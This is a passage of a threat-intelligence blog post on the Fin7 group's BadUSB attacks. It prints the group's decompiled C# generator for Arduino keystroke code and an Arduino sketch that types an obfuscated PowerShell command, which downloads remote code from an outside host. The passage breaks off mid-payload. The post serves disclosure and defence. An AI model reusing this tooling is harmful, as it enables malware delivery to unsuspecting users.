# OpBlueRaven: Unveiling Fin7/Carbanak - Part II : BadUSB Attacks **threatintel.blog/OPBlueRaven-Part2/** PTI Team September 1, 2020 This article aims to provide its readers with the details about PRODAFT & INVICTUS Threat Intelligence (PTI) team’s latest operation on different threat actors; who have been detected to be working in cooperation with the notorious Fin7 APT group. We appreciate all your support after the first part of this series. Before disclosing the relationship between Fin7 and REvil groups, we are trying to reach the ransomware victims. Until reaching all necessary parties, we will continue to publish articles about Fin7 attackers’ tools. In the [first article, we examined version changes of Carbank backdoor’s control panel and](https://threatintel.blog/OPBlueRaven-Part1/) exposed previously unknown Tirion Loader. We expect that Fin7 group will replace the Carbanak backdoor with this loader in their future campaigns. ----- In this section of our series, we will be diving into the BadUSB attacks carried out by Fin7 threat actors. We will be approaching this topic as follows: Overview of BadUSB attack macOS targeted BadUSB attacks AV detection statistics collected by attackers Victim statistics ## BadUSB attacks In March 2020, BadUSB attacks associated with the Fin7 attack group were publicly reported[1]. The purpose of these social engineering attacks was to convince potential victims to plug-in USB flash drives (which are running malicious codes) into their computers. As it is known in BadUSB attacks, an attacker modifies a USB flash drive to act as a human interface device (HID), (e.g., a keyboard) and give inputs to the victim machine through this HID. In the relevant Fin7 attacks, we have detected that Fin7 actors are modifying their USBs to act as a keyboard and simulate keyboard strokes for the purpose of invoking a malicious Powershell command. The video below, which was recorded by attackers (and it is one of the exposed Fin7 group files), shows a demo of the BadUSB attack. In the video, the attacker plugs-in harmful USB drive to the test computer. Then a malicious command was typed in a short time by BadUSB, ----- and a fake error message was shown. Attackers use Atmega32u modules to create BadUSB drives. The code snippet below shows the decompiled C# code of the Arduino source code generator program used by the Fin7 group. This program takes a string as input and generates Arduino source code to type this string in the victim machine by simulating a keyboard. ----- Console.WriteLine("#include \r\n\r\nvoid typeKey(uint8_t key)\r\n{\r\nKeyboard.press(key);\r\ndelay(50);\r\nKeyboard.release(key);\r\n}\r\n\r\n/* Init function */\r\nvoid setup()\r\n{\r\n// Begining the Keyboard stream\r\nKeyboard.begin();\r\n\r\n// Wait 500ms\r\ndelay(1000);\r\n\r\nKeyboard.press(KEY_LEFT_GUI);\r\nKeyboard.press('r');\r\nKeyboard.releaseAll();\r\ndelay (500);"); for (int j = 0; j < list.Count; j++) { string[] array = list[j].Split(new char[] { ' ' }); for (int k = 0; k < array.Length; k++) { bool flag2 = list[j].Equals("typeKey(' ');"); if (flag2) { Console.WriteLine(list[j]); Console.WriteLine(); break; } foreach (KeyValuePair keyValuePair2 in dictionary) { bool flag3 = array[k].Equals(keyValuePair2.Key); if (flag3) { Console.WriteLine(keyValuePair2.Value); Console.WriteLine(); } } } Console.WriteLine("Keyboard.releaseAll();"); Console.WriteLine(); } Console.WriteLine("// Ending stream\r\nKeyboard.end();\r\n}\r\n\r\n/* Unused endless loop */\r\nvoid loop() {}"); Console.ReadKey(); The code snippet below shows an example of a harmful Arduino code that is used to create BadUSB devices for the attacks during March 2020. ----- #include void typeKey(uint8_t key) { Keyboard.press(key); delay(50); Keyboard.release(key); } /* Init function */ void setup() { // Begining the Keyboard stream Keyboard.begin(); // Wait 500ms delay(1000); Keyboard.press(KEY_LEFT_GUI); Keyboard.press('r'); Keyboard.releaseAll(); delay(500); // Keyboard.println("cmd /c start /min powershell -c \" [char[]]'2//6}&|usz!|jfy!))Ofx.Pckfdu!Ofu/XfcDmjfou*/EpxompbeTusjoh)(iuuqt;00njmlnpwfnpofz/dpn0tu0nj/joj(**